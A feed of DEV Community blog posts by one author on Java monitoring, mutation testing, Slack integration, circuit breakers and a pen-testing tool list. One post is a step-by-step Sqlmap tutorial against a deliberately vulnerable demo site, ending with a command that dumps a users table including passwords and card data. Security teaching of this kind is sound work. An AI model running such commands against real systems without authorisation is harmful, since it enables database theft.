DEV Community: Silvio Buss

Publishing Application Metrics to Azure Monitor Using Spring Boot 2 and Micrometer

Silvio Buss — Mon, 16 Mar 2020 16:46:06 +0000

Introduction

Observability is the activities that involve measuring, collecting, and analyzing various diagnostics signals from a system. These signals may include metrics, traces, logs, events, profiles and more.

Especially in a DevOps culture, where automation is key in order to stay productive, observability plays an important role. Your team should define alarms based on relevant system metrics to ensure that service level objectives are met. However, most modern applications are very complex distributed systems and it is hard to measure everything.

Luckily if you are using a managed platform many metrics will be collected for you automatically. Many cloud platforms like AWS, Azure and Google Cloud already collects metrics of your load balancers, application containers, applications requests, databases, and so on. What the cloud providers cannot offer, however, are application specific metrics, because they depend on your application logic.

Micrometer provides a simple facade for the JVM for a number of popular monitoring systems to collect application specific metrics. Currently, it supports the following monitoring systems: Azure Monitor, Netflix Atlas, CloudWatch, Datadog, Dynatrace, New Relic, Prometheus, And many other providers. Check this documentation for all available.

Micrometer

MeterRegistry

A meter is an abstraction for a set of measurements about your application. A meter is uniquely identified by its name and tags. A meter registry holds meters. In Micrometer, a MeterRegistry is the core component used for registering meters.

The simplest form of the registry is SimpleMeterRegistry. But in most cases, we should use a MeterRegistry explicitly designed for our monitoring system; for Azure Monitor (AzureMonitorMeterRegistry), Prometheus (PrometheusMeterRegistry), Atlas (AtlasMeterRegistry).

In this article, we'll introduce the basic usage of Micrometer and its integration with Spring boot 2.

Basic Meters

Counter

Counters report a single metric, a count. The Counter allows you to increment by a fixed amount, which must be positive.

When building graphs and alerts off of counters, generally you should be most interested in measuring the rate at which some event is occurring over a given time interval. Consider a simple queue. Counters could be used to measure things like the rate at which items are being inserted and removed.

Gauge

Gauges are used to report a numeric state at a certain time. In contrast to a counter which you can increment, a gauge watches the state of an object and reports the current state whenever the metric is exported. A common example is the number of messages in a queue, or the number of connections in your connection pool.

Other metrics

Timer, Long Task Timer, Function-tracking counters, Function-tracking timers. I recommend read this article of Rosner and the official documentation.

Azure Application Insights with Spring Boot 2 using Micrometer Registry Azure

This section explains how to use the Micrometer Azure registry in order to export your metrics to Azure Monitor.

Set up Azure Application Insights

First, we need to create an Application Insights Resource.

Access the azure Portal and create the resource.

Next step is define the subscription and Instance Details.

Access the resource created and get the Instrumentation Key.

Configuring your Spring boot 2 project

Add Azure dependencies in your Project:

        <dependency>
            <groupId>com.microsoft.azure</groupId>
            <artifactId>applicationinsights-spring-boot-starter</artifactId>
            <version>2.5.1</version>
        </dependency>
        <dependency>
            <groupId>com.microsoft.azure</groupId>
            <artifactId>azure-spring-boot-metrics-starter</artifactId>
            <version>2.2.0</version>
        </dependency>

Currently, Microsoft provides a Spring Boot Starter for automatically configuring Azure Application Insights: applicationinsights-spring-boot-starter.

Note that Microsoft also provide a azure-spring-boot-metrics-starter, for adds Micrometer monitoring support on top of the previous starter. Its current version, at the time of this writing, uses a different configuration key than applicationinsights-spring-boot-starter.

Add instrumentation key

Update application.properties file and use the same instrumentation key in both properties:

management.metrics.export.azuremonitor.instrumentation-key=XXXXXXXXXX
azure.application-insights.instrumentation-key=XXXXXXXXXX

Add custom Micrometer metric

This is a example using a counter:

The example project below is a simple User CRUD with HTTP Operations, the custom metric in this scenario is the number of users created who reported the phone.

silviobuss / spring-boot-micrometer-azure

Azure Application Insights with Spring Boot 2 using Micrometer Registry Azure

You can see more about this case in https://dev.to/silviobuss/publishing-application-metrics-to-azure-monitor-using-micrometer-plk.

This project uses a database, if you already have mysql installed on the machine, you can use it by changing the settings in the application.properties file.

Start Mysql with Docker (OPTIONAL)

To initialize a docker container with mysql, use the command below:

docker run --name mysql57 -p 3306: 3306 -e MYSQL_ROOT_PASSWORD = root -e MYSQL_USER = user -e MYSQL_PASSWORD = user1234 -e MYSQL_DATABASE = demo_app -d mysql / mysql-server: 5.7

If you want to access the container to make any query:

docker exec -it mysql57 bash

and login to the mysql instance:

mysql -h localhost -u root -p

Getting Started

Just update the database properties in application.properties and run the DemoApplication.java in your IDE.

View on GitHub

To generate the custom metric, just perform a POST request to endpoint http://localhost:8080/users with the JSON below:

Testing Azure Application Insights

Note that it is not necessary that your application is hosted on azure to have access to Application Insights and the monitor.

If everything is set up correctly, in the "Live Metrics Stream", you should see those scenarios running:

We can see our custom metric in "Metrics":

Conclusion

In this post we have seen how Micrometer works as a flexible layer of abstraction between your code and the monitoring systems. We can seen how its works and how is possible to monitoring a Java app implemented in Spring Boot 2 with Micrometer Azure layer.

References

Microsoft. https://docs.microsoft.com/en-us/azure/azure-monitor/app/micrometer-java

Frank Rosner. https://dev.to/frosnerd/publishing-application-metrics-to-cloudwatch-using-micrometer-343f

10 Useful Tools to Exploit Your Security

Silvio Buss — Sun, 21 Jul 2019 02:45:48 +0000

Introduction

Penetration testing (a.k.a pen testing) is the practice of launching authorized and simulated attacks against computer systems and their physical infrastructure to expose potential security weaknesses and vulnerabilities.

A penetration test is designed to answer the question:

How effective is my current security against a skilled attacker?

Here are some of the best tools for carrying out pen testing exercises. We can find most of the listed tools here for free, while others will the main functions in entry free version and require license payments to use all features.

1. Kali linux

Kali Linux is an open-source distribution based on Debian focused on providing penetration testing and security auditing tools.

Most of the tools mentioned in this post are present in Kali. It includes numerous tools for information gathering, vulnerability analysis, wireless attacks, web applications, exploitation tools, stress testing, sniffing and spoofing, password cracking and much more.

2. Wireshark

It is a network monitoring tool. Wireshark collects and shows information on all network traffic and detailed providing information on IP addresses, protocols, requests, packages, etc.

3. Sqlmap

Sqlmap is one of the most powerful tools for automated SQL injection, it has full support to many databases, such as Mysql, SQL Server, Oracle, etc.

In this tutorial, I explained step by step how to use this tool.

Are you vulnerable to a SQL injection attack? Exploiting with Sqlmap

Silvio Buss ・ Jun 30 '19

#sql #security #programming #sqlmap

4. Burp Suite

Burpsuite can be used to intercept traffic between a web browser and the web server, such as a proxy. Works fine with Sqlmap, you can export the request to Sqlmap and, for example, exploit a SQL injection of HTTP POST request easily.

However, it is more than just a proxy. Burpsuite can be used as a web application security scanner, a tool to perform automated attacks against a web application, a tool to spider an entire website to identify attack surface, among other features.

5. Metasploit Community

It is an open-source tool developed together with Rapid7. It is a very popular collection of various penetration tools, including discovering vulnerabilities, managing security evaluations, and formulating defense methodologies.

6. Nmap

It is a tool for scanning your systems or networks for vulnerabilities. It can be used for security scans, simply to identify what services a host is running, the type of firewall a host is using, or to do a quick inventory of a local network.

7. Aircrack-ng

Aircrack-ng is a comprehensive collection of utilities for analyzing the weaknesses in a WiFi network using various monitoring, attacking, testing and cracking methods.

Moreover, if you want to assess the reliability of your WEP and WPA-PSK keys, you can crack them using this tool.

8. Nessus

This tool is a vulnerability scanner that allows pen testers to audit their networks by scanning ranges of Internet Protocol (IP) addresses and identifying vulnerabilities with a series of plug-ins. Some of the vulnerabilities it identifies include misconfiguration errors, improper passwords, and open ports.

9. Openvas

OpenVAS is a fork of Nessus, but its feeds are completely free and licensed under GPL. This tool allows you to write and integrate your own security plugins to the OpenVAS platform, even though the current engine comes with more than 50.000 network vulnerability tests that can scan many unthinkable scenarios.

10. John the Ripper

It is one of the most popular password cracking tool that combines several different cracking programs and runs in both brute force and dictionary attack modes. It can run a wide variety of password-cracking techniques against the various user accounts on each operating system and can be scripted to run locally or remotely.

Conclusion

A penetration test is vital for any company or organization that takes security seriously. If a penetration tester manages to compromise your application or network, then a real hacker can too.

Increase the quality of unit tests using mutation with PITest

Silvio Buss — Tue, 16 Jul 2019 13:30:26 +0000

Introduction

Code coverage is the most common metric to measure code quality, but it does not guarantee that tests are testing the expected behavior.

"...100% code coverage score only means that all lines were exercised at least once, but it says nothing about tests accuracy or use-cases completeness, and that’s why mutation testing matters". (Baeldung, 2018)

The idea of mutation testing is to modify the covered code in a simple way, checking whether the existing test set for this code will detect and reject the modifications.

Good tests should fail when your service rules are changed.

Each change in the code is called a mutant, and it results in an altered version of the program, called a mutation. Some types of mutation are:

Change conditionals Boundary Mutator.

Original conditional	Mutated conditional
<	<=
<=	<
>	>=
>=	>

Change mathematical operators.
Return null instead of Object value.
And many other types. Check this documentation for all available.

Mutations usually react as follows:

Killed: This means the mutant has been killed and therefore the part of the code that has been tested is properly covered.
Survived: This means the mutant has survived, and the added or changed functionality is not properly covered by tests.
Infinite loop/runtime error: This usually means that the mutation is something that could not happen in this scenario.

PITest framework is a JVM-based mutation testing tool with high performance and easy to use. I do not think this tool has competitors who have all of their features.

Getting started: Step by step with PITest 1.4.5 (2019 released version)

First, we will see how the jacoco code coverage is faulty.

Create a Demo App

1 - Go to https://start.spring.io/ and create a simple demo app (without site dependencies).

2 - Edit the pom.xml file, add Jacoco and maven plugins:



            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.7.0</version>
                <configuration>
                    <source>1.8</source>
                    <target>1.8</target>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-surefire-plugin</artifactId>
                <version>2.19.1</version>
            </plugin>
            <plugin>
                <groupId>org.jacoco</groupId>
                <artifactId>jacoco-maven-plugin</artifactId>
                <version>0.8.2</version>
                <executions>
                    <execution>
                        <goals>
                            <goal>prepare-agent</goal>
                        </goals>
                    </execution>
                    <execution>
                        <id>report</id>
                        <phase>prepare-package</phase>
                        <goals>
                            <goal>report</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>

3 - Still in pom.xml file, add the unit testing dependencies.



        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.12</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.assertj</groupId>
            <artifactId>assertj-core</artifactId>
            <version>3.9.0</version>
            <scope>test</scope>
        </dependency>

4 - Create a simple service to verify whether a provided input number is between 0 and 100.

5 - Create a test class (without Asserts) like the one below:

Running the Demo App

Run mvn clean install in the root directory.

In this step, we can notice that our code is fully covered by unit tests. Open the jacoco report in target/site/jacoco/index.html.

Both line and branch coverage reports 100% unit tests coverage, but nothing is being tested really!

Adding the PITest plugin

We can limit code mutation and test runs by using targetClasses and targetTests.

And avoidCallsTo to keep specified line codes from being mutated. This improves the mutation time.



             <plugin>
                <groupId>org.pitest</groupId>
                <artifactId>pitest-maven</artifactId>
                <version>1.4.5</version>
                <executions>
                    <execution>
                        <phase>test</phase>
                        <goals>
                            <goal>mutationCoverage</goal>
                        </goals>
                    </execution>
                </executions>
                <configuration>
                    <targetClasses>
                        <param>com.example.demo.service*</param>
                    </targetClasses>
                    <targetTests>
                        <param>com.example.demo.service*</param>
                    </targetTests>
                    <avoidCallsTo>
                        <avoidCallsTo>java.util.logging</avoidCallsTo>
                        <avoidCallsTo>org.apache.log4j</avoidCallsTo>
                        <avoidCallsTo>org.slf4j</avoidCallsTo>
                        <avoidCallsTo>org.apache.commons.logging</avoidCallsTo>
                    </avoidCallsTo>
                </configuration>
            </plugin>

Run the Demo App with PITest

Run mvn clean install in the root directory and look at the PITest report in /target/pit-reports/<date>/index.html.
Here we can notice the line coverage is still 100% but a new coverage has been introduced: Mutation Coverage.

Adding real tests with assertions

We can add asserts like this:

Run mvn clean install and check the PITest report again.

PITest executed tests after mutating our original source code and discovered some mutations are not handled by unit tests so we need to fix that.

To do so, we should cover cases including limit test case which means when the provided value is either 0 and 100.

Following are the test cases to cover mutation testing:



 @Test
  public void hundredReturnsTrue() {
    assertThat(cut.isValid(100)).isTrue();
  }

  @Test
  public void zeroReturnsFalse() {
    assertThat(cut.isValid(0)).isFalse();
  }

Running again the PITest mutation coverage command and looking at its report, we can now notice both line and mutation coverage look 100% good.

Bonus

We can use the property mutationThreshold to define a percentage of mutation at which the build will fail in case this percentage is bellow the threshold.

Performance of PITest in a real scenario

Running PITest in a small project (6300 lines of code) results in:



PIT >> INFO : MINION : 3:56:19 PM PIT >> INFO : Checking environment    
PIT >> INFO : MINION : 3:56:20 PM PIT >> INFO : Found  254 tests
================================================================================
- Timings
================================================================================
> scan classpath : < 1 second
> coverage and dependency analysis : 5 seconds
> build mutation tests : < 1 second
> run mutation analysis : 2 minutes and 15 seconds
--------------------------------------------------------------------------------
> Total  : 2 minutes and 21 seconds
--------------------------------------------------------------------------------
================================================================================
- Statistics
================================================================================
>> Generated 733 mutations Killed 690 (94%)
>> Ran 1158 tests (1.58 tests per mutation)

For this project, PITest showed that it generated a total of 733 mutations and of this total only 43 survived, resulting in 94% of mutation coverage.

Mutation testing can be a heavy process, but from my experience, by reaching 85% of mutation coverage, my team felt safe enough to make releases without manually testing the product. (That's cool!)

Conclusion

Note that code coverage is still an important metric, but sometimes it is not enough to guarantee a well-tested code. Mutation testing is a good additional technique to make unit tests better.

silviobuss / pitest-spring-boot2-demo

pitest with spring-boot2 demo

Increase the quality of unit tests using mutation with PITest

You can see more about this case (step by step) in https://dev.to/silviobuss/increase-the-quality-of-unit-tests-using-mutation-with-pitest-3b27/.

View on GitHub

References

https://itnext.io/start-killing-mutants-mutation-test-your-code-3bea71df27f2
https://www.baeldung.com/java-mutation-testing-with-pitest
https://github.com/rdelgatte/pitest-examples

Are you vulnerable to a SQL injection attack? Exploiting with Sqlmap

Silvio Buss — Sun, 30 Jun 2019 21:06:49 +0000

What is SQL Injection?

If you are new to SQL Injection, visit this simple and good text SQL Injection Attack explained, with example.

What is post about?

I am not advocating that you start using SQL injection to start stealing other people or companies data. However, I do think that you should know the various SQL injection techniques so that you will be better prepared to prevent them from happening in your own web application.

How to begin

The first step in preventing this attack is to establish which (if any) of your applications are vulnerable. The best way to do this is to launch your own attacks to see whether they are successful. But SQL is a complex language, so it is not a trivial task to construct code snippets that can be injected into a query to attempt to compromise a database.

The good news is that this is not necessary because all we need to do is run an automated SQL injection attack tool to do the work.

An example is Sqlmap (explained below), a open-source tool and one the most powerful for automated SQL injection, it has full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, among others.

Point it at a potential target and Sqlmap probes the site to determine what type of database is in use. Using that knowledge, this tool then builds queries to probe characteristics of the database. Requiring little to no SQL expertise from the end user, Sqlmap can potentially extract fields, tables, and sometimes even full data dumps from a target.

How to prevent SQL Injection Attacks

We must works and evolve existing tools and processes (we do not need reinvent the wheel!).

The Best collection of advice and best practices about this topic is at bobby-tables.com and OWASP Cheat Sheet Series.

Using Sqlmap 1.3 (2019 released version) to exploit SQL injection - Step by Step Explained

To show how it works, we will use an already vulnerable system developed by Acunetix, the site http://testphp.vulnweb.com.

To understand this tutorial you should have some knowledge of how database driven web applications work and how find a vulnerable urls.

Installing

First, we have to install python on our system.

We can download Sqlmap by cloning the Git repository using the command:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

Getting started

Let us try to confirm the vulnerability by simply adding a single quote at the end of the URL:

The above URL shows an error on the web page, saying "Error in your SQL Syntax". This is because of an extra single quote (') that we have entered through the URL into the query in the background. So by seeing the error we can understand that the URL is vulnerable to In-band SQL Injection.

Step 1

In this test we will use a standard HTTP GET based request against a URI with a parameter (?cat=1). This will test different SQL injection methods against the cat parameter.

python sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1"

In the results, we can see the DBMS of server and the methods used to exploit.

Step 2

Once Sqlmap confirms that a remote url is vulnerable to sql injection and is exploitable, use --dbs to discovery all databases.

python sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -dbs

Step 3

Now, we can find out what tables exist in a particular database. Let is use the database acuart.

python sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs -D acuart --tables

Step 4

Now that we have the list of tables with us, it would be a get the columns of some important table. For example: users.

python sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs -D acuart --tables -T users --columns

Step 5

And finally, we can extract the data from the table.
The below command will simply dump (csv) the data of the particular table.

python sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs -D acuart -T users -C name,pass,uname,email,address,cc --dump

Conclusion

Sqlmap is a very powerful tool and highly customizable, I recommend read the Usage Guide to explore all features. We must not forget to explore others HTTP methods (POST, PUT, DELETE, etc.).

Resources

http://sqlmap.org/
https://www.esecurityplanet.com/threats/how-to-prevent-sql-injection-attacks.html

Send slack messages with Java in 5 minutes

Silvio Buss — Thu, 20 Jun 2019 22:43:56 +0000

Introduction

In this tutorial, we will see how easy it is to send messages to a Slack channel in our Java application with jslack framework.

jSlack

jSlack is a Java library to easily integrate your operations with Slack. This library supports all the APIs listed in Slack platform features and APIs.

Incoming Webhook with Slack

Webhook is a simple way to post messages from external sources into Slack via ordinary HTTP requests. See the Slack Incoming Webhooks guide for more details.

Getting started

Getting the Webhook URL

The first thing we need to do is find out from Slack the correct URL it will use to post the messages.

Go to https://YOUR_ALIAS_TEAM.slack.com/apps/manage/custom-integrations
Choose the Incoming WebHooks option.
Access Add configuration and choose the channel to which you want to send messages and then Add Incoming WebHooks Integration.
Slack gives you the URL to which you will be posting your messages.
Similar to this: https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXX

Create Demo App

Go to https://start.spring.io/ and create a demo app with the Web dependency.

Import application in your IDE and follow steps below:

1 - Edit application.properties file.



server.servlet.context-path=/
slack.webhook=https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXX

2 - Edit pom.xml file and add jslack:



<dependency>
    <groupId>com.github.seratch</groupId>
    <artifactId>jslack</artifactId>
    <version>1.5.6</version>
</dependency>

3 - Add controller and service classes:

Controller

Service

Run Demo App

Start demo app just running a main class.
Using any rest client, make the POST request:
http://localhost:8080/apps/my simple message here

And Wow! Your message exposed in slack.

Conclusion

In this post, we can see how its works slack webhook integration implemented in Spring Boot 2 with jslack. This framework also provides support to real-time Messaging API, events API, among other resources.

Sources

silviobuss / demo-jslack

Send slack messages with jslack

demo-jslack

Send slack messages with jslack

What is this and how it works?

https://dev.to/silviobuss/send-slack-messages-with-java-in-5-minutes-2lio

View on GitHub

Resilience for Java microservices. Circuit Breaker with Resilience4j

Silvio Buss — Fri, 14 Jun 2019 18:43:17 +0000

What is circuit breaker pattern?

Read this first post to understand the concept.

Resilience pattern for Java microservices. The Circuit Breaker.

Silvio Buss ・ Jun 13 '19

#java #microservices #opensource #devops

The Resilience4j

On December of 2018, Spring announced that Spring Cloud Netflix projects entering maintenance mode and following that announcement recommended some replacements, including Resilience4j instead of Hystrix.

Modularization

Resilience4j is a lightweight fault tolerance library designed for Java 8 and functional programming. The library uses Vavr, which does not have any other external library dependencies. Resilience4j allows picking what you need.

The Resilience4j repository also provides several implementation patterns that can make your application more robust, including a circuit breaker, time limiter, rate limiter, retry and cache.

Prometheus and Grafana

The combination of Prometheus and Grafana is becoming a more and more common monitoring stack used by DevOps teams for storing and visualizing time series data. Prometheus acts as the storage backend and Grafana as the interface for analysis and visualization.

The demo project uses this combination along with the Prometheus Metrics exporter module from Resilience4j to turn easy the analysis and visualization of the metrics generated by Resilience4j. And the most important, if you already have docker on the machine, it takes less than 1 minute to configure this demo.

Implementation with Spring Boot 2 + Resilience4j + Prometheus + Grafana

The full demo code is below.

The setup to start grafana and prometheus application (via docker) and the both configurations are available in the project readme in github.
Circuit breaker settings are in the application.yml file.

This are the protected methods by circuit breaker

Use the project endpoints to simulate successes.
- http://localhost:9080/backendA/success

And for simulate failures.
- http://localhost:9080/backendA/failure

To simulate the status OPEN, call failure endpoint until it let is reach threshold of 5 attempts used in settings.

When the status is OPEN, the remote call (BackendAConnector.class#failure) will not be executed and all further calls to the circuit breaker will return the error "CircuitBreaker 'backendA' is OPEN...".
We can see the status and metrics generated through the grafana dashboards:

Source code

silviobuss / resilience4j-spring-boot2-demo

A Spring Boot 2 demo which shows how to use the Resilience4j Spring Boot 2 Starter

Spring Boot 2 demo of Resilience4j

This demo shows how to use the fault tolerance library Resilience4j in a Spring Boot 2 application.

See User Guide for more details.

The BackendAService shows how to use the Resilience4j Annotations.

The BackendBController shows how to use the functional style and the Spring Reactor operators.

Getting Started

Just run the Application.java in your IDE.
Application is running on http://localhost:9080.

Monitoring with Prometheus and Grafana (OPTIONAL)

Requirements

Docker and Docker Compose installed.

Step 1

Use docker-compose to start Grafana and Prometheus servers.

In the root folder

docker-compose -f docker-compose.yml up

Step 2

Check the Prometheus server.

Open http://localhost:9090
Access status -> Targets, both endpoints must be "UP"

Step 3

Configure the Grafana.

Open http://localhost:3000
Configure integration with Prometheus
- Access configuration
- Add data source
- Select Prometheus
- Use url "http://localhost:9090" and access with value "Browser"
Configure dashboard
- Access "home"
- Import dashboard
- Upload dashboard.json…

View on GitHub

The Full demo project with all modules can viewed here.

Conclusion

In this post, we can see how its works and how is possible to monitoring the Circuit Breaker implemented in Spring Boot 2 with Resilience4j, Prometheus and Grafana.

Resources

https://github.com/resilience4j/resilience4j-spring-boot2-demo
https://logz.io/blog/prometheus-monitoring/

Resilience pattern for Java microservices. The Circuit Breaker.

Silvio Buss — Thu, 13 Jun 2019 00:44:26 +0000

Introdution

Although the advantages of a microservices architecture are known (not a topic explained here), we often ignore the resiliency in system design. Software systems do remote calls to software running in different processes, usually on different machines across a network. For example:

What happens when service B goes unavailable, responds with high latency or returns the same business exception repeatedly? These unhandled cases can lead to cascading failures that affect various company services.

The circuit breaker design

The basic idea behind the circuit breaker is very simple. You wrap a protected function call in a circuit breaker object, which monitors it for failures. When we apply this pattern, we prevent possible application problems. This pattern follows the same concept as the safety electrical component named circuit breaker.

Once the failures reach a certain threshold, the circuit breaker trips, and all further calls to the circuit breaker return with an error or with some alternative service or default message, without the protected call being made at all. This will assure that the system is responsive and threads are not waiting for an unresponsive call, protecting the system to avoid catastrophic failures.

In case service B goes down, service A should still try to recover from this and try to do one of the followings actions:

Custom fallback: Try to get the same data from some other source. If not possible, use its own cache value or your custom client error response.

Fail fast: If service A knows that service B is down, there is no point to waiting the timeout and consuming its own resources.

Heal automatic: Periodically check if service B is working again.

Other APIs should work: All other APIs should continue to work.

How it works?

Closed: When everything is normal, the Circuit Breaker remains CLOSED and all calls to service B occur normally. If the number of failures exceeds a predetermined limit, the status changes to OPEN.

Open: In this state, the Circuit Breaker will not execute the service B call and return a treated error.

Half-Open: After a timeout period, the circuit switches to a half-open state to test if the underlying problem still exists. If a single call fails in this HALF-OPEN state, the breaker is once again tripped. If it succeeds, resets back to the normal, CLOSED state.

Conclusion

The circuit breaker helps you prevent possible problems of integration between your microservices. For best results, use monitoring tools and metrics, such as prometheus and grafana.

In the next post I will be talk about the main framework for resilience to Java applications, Resilience4j.

Resilience for Java microservices. Circuit Breaker with Resilience4j

Silvio Buss ・ Jun 14 '19

#java #microservices #opensource #devops

References

https://martinfowler.com/bliki/CircuitBreaker.html
https://dzone.com/articles/circuit-breaker-pattern
https://itnext.io/understand-circuitbreaker-design-pattern-with-simple-practical-example-92a752615b42